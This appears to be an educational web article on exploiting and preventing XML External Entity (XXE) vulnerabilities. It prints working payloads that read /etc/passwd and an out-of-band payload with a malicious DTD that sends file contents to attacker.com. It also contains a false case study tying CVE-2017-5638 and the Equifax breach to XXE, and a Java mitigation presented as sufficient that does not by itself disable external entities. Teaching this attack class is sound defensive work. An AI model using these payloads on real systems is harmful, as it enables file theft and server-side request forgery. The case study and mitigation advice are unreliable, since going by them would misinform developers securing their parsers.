Exploiting XML External Entity (XXE) Vulnerabilities
XML External Entity (XXE) vulnerabilities arise when applications process XML input containing malicious external entity references. Attackers exploit weak XML parser configurations to access sensitive data, execute server-side requests, or perform denial-of-service attacks. These flaws are particularly dangerous because they can bypass traditional security controls and expose internal systems.
How XXE Attacks Work
XXE vulnerabilities occur when an XML parser processes external entities—references to external resources—without proper validation. Attackers manipulate these references to:
- Read arbitrary files from the server (
file://protocol) - Perform Server-Side Request Forgery (SSRF) (
http://protocol) - Execute remote code in rare cases
- Launch denial-of-service attacks via recursive entity expansion
Critical Note: XXE attacks exploit the fundamental design of XML parsers, which often enable external entity processing by default.
Types of XXE Attacks
1. In-Band XXE
Attackers directly observe the server's response, enabling straightforward data extraction.
Characteristics:
- Immediate feedback in the application's response
- Simpler to execute but easier to detect
- Common in applications that echo XML input in responses
Example Use Case:
An attacker submits a crafted XML payload to a web form and receives file contents (e.g., /etc/passwd) in the response.
2. Out-of-Band (OOB) XXE
Attackers exfiltrate data to an external server they control, bypassing direct response visibility.
Characteristics:
- No direct response from the target application
- Requires an attacker-controlled server to receive data
- Harder to detect due to indirect data flow
Example Workflow:
- Attacker hosts a malicious DTD file on their server
- Target application processes XML with a reference to the DTD
- Sensitive data is sent to the attacker's server via HTTP requests
Practical Attack Example
In-Band XXE Payload
<!DOCTYPE contact [
<!ELEMENT contact ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<contact>
<name>&xxe;</name>
<email>attacker@example.com</email>
</contact>
Expected Outcome:
The server processes the XML and returns the contents of /etc/passwd in the response.
Out-of-Band XXE Payload
<!DOCTYPE contact [
<!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
%dtd;
%exfil;
]>
<contact>
<name>Test</name>
</contact>
Malicious DTD (malicious.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil SYSTEM "http://attacker.com/?data=%file;">
Expected Outcome:
The server sends the contents of /etc/passwd to the attacker's server via an HTTP request.
Real-World Impact
| Attack Scenario | Potential Consequences | Example Targets |
|---|---|---|
| File Disclosure | Exposure of credentials, API keys, or PII | Configuration files (config.php) |
| SSRF | Internal network scanning or service abuse | Cloud metadata services |
| Denial-of-Service | Application crashes via entity expansion | Recursive entity references |
| Remote Code Execution (RCE) | Full system compromise (rare) | PHP expect:// wrapper |
Case Study: In 2017, an XXE vulnerability in Apache Struts (CVE-2017-5638) led to the Equifax breach, exposing 143 million records.
Prevention and Mitigation
Secure XML Parser Configuration
| Parser | Secure Configuration Example |
|---|---|
| Java (DOM) | DocumentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); |
| Python (lxml) | parser = etree.XMLParser(resolve_entities=False) |
| PHP | libxml_disable_entity_loader(true); |
Best Practices
- Disable external entities in all XML parsers
- Validate and sanitize all XML input (use allowlists for schemas)
- Use less complex formats (e.g., JSON) when possible
- Update libraries regularly (e.g.,
libxml2,Xerces) - Implement network segmentation to limit SSRF impact
Pro Tip: Use SAST tools (e.g., SonarQube, Checkmarx) to detect XXE vulnerabilities in code.
Detection and Testing
Manual Testing Methods
-
Basic XXE Test:
<!DOCTYPE test [ <!ENTITY xxe "XXE_TEST"> ]> <test>&xxe;</test>- If the response contains
XXE_TEST, the parser is vulnerable.
- If the response contains
-
File Disclosure Test:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <test>&xxe;</test>
Automated Tools
- OWASP ZAP: Active scan for XXE
- Burp Suite: "XML External Entity Injection" scanner
- XXEinjector: Dedicated XXE exploitation tool
Key Takeaways
- XXE vulnerabilities stem from unsafe XML parser configurations
- Attacks can lead to data breaches, SSRF, or RCE
- In-Band XXE provides direct feedback; Out-of-Band XXE is stealthier
- Prevention requires disabling external entities and input validation
- Regular testing is critical for legacy systems